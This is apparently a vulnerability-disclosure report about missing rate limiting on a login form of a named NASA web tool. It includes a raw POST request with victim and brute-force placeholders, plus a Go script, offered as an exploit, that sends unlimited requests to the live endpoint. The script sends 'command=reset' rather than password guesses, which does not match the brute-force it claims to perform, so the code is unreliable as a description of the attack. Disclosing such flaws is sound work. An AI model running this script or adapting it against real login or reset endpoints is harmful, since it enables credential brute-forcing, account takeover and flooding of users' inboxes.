Summary by 7h3h4ckv157
No Rate Limiting on Login
Overview of the Vulnerability
Rate Limiting prevents an application from becoming unresponsive or unavailable due to too many requests exhausting the application's resources. A lack of rate limiting on a login form allows an attacker to send a number of requests to the server which will attempt to authenticate a user with the supplied credentials, even if they are invalid. This has the risk of an attacker being able to attempt to bruteforce credentials for users without any protections, and can be used as a method of credential stuffing and compromising accounts to the service.
The Source code: view-source:https://ceres-tool.larc.nasa.gov/ord-tool/ provides the info to craft a POST req.
Business Impact
No rate limiting on a login form can result in reputational damage to the organization if an attacker successfully takes over an account through a bruteforce login attempt. It also has the potential to cause accelerated service usage, which can incur a direct financial cost in environments with SaaS services or pay on demand systems.
Steps to Reproduce
This End-Point: "Click Here!" Allows an attacker to craft a POST req. and they can perform brute-force attack (No Rate Limiting)
Sample Req:
POST /ord-tool/userEntry HTTP/1.1
Host: ceres-tool.larc.nasa.gov
User-Agent: 7h3h4ckv157@NASA-VDP
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 54
command=pass&email=<Victim-Mail>&password=<Brute-The-Pass>
Try Burp's Intruder or the below exploit: (go build login-brute.go)
package main
import (
"fmt"
"io/ioutil"
"net/http"
"strings"
)
func main() {
var email string
var numRequests int
fmt.Print("Enter email address: ")
fmt.Scanln(&email)
fmt.Print("Enter number of requests to send: ")
fmt.Scanln(&numRequests)
url := "https://ceres-tool.larc.nasa.gov/ord-tool/userEntry"
payload := fmt.Sprintf("command=reset&email=%s", email)
headers := map[string]string{
"User-Agent": "7h3h4ckv157@NASA-VDP",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Te": "trailers",
"Connection": "close",
}
for i := 0; i < numRequests; i++ {
req, err := http.NewRequest("POST", url, strings.NewReader(payload))
if err != nil {
fmt.Printf("Error creating request: %v\n", err)
return
}
for key, value := range headers {
req.Header.Set(key, value)
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Error sending request: %v\n", err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("Error reading response body: %v\n", err)
return
}
fmt.Printf("Response %d:\n", i+1)
fmt.Printf("Status: %s\n", resp.Status)
fmt.Printf("Body: %s\n", body)
fmt.Println("\n------------------------ Success ------------------------\n")
}
}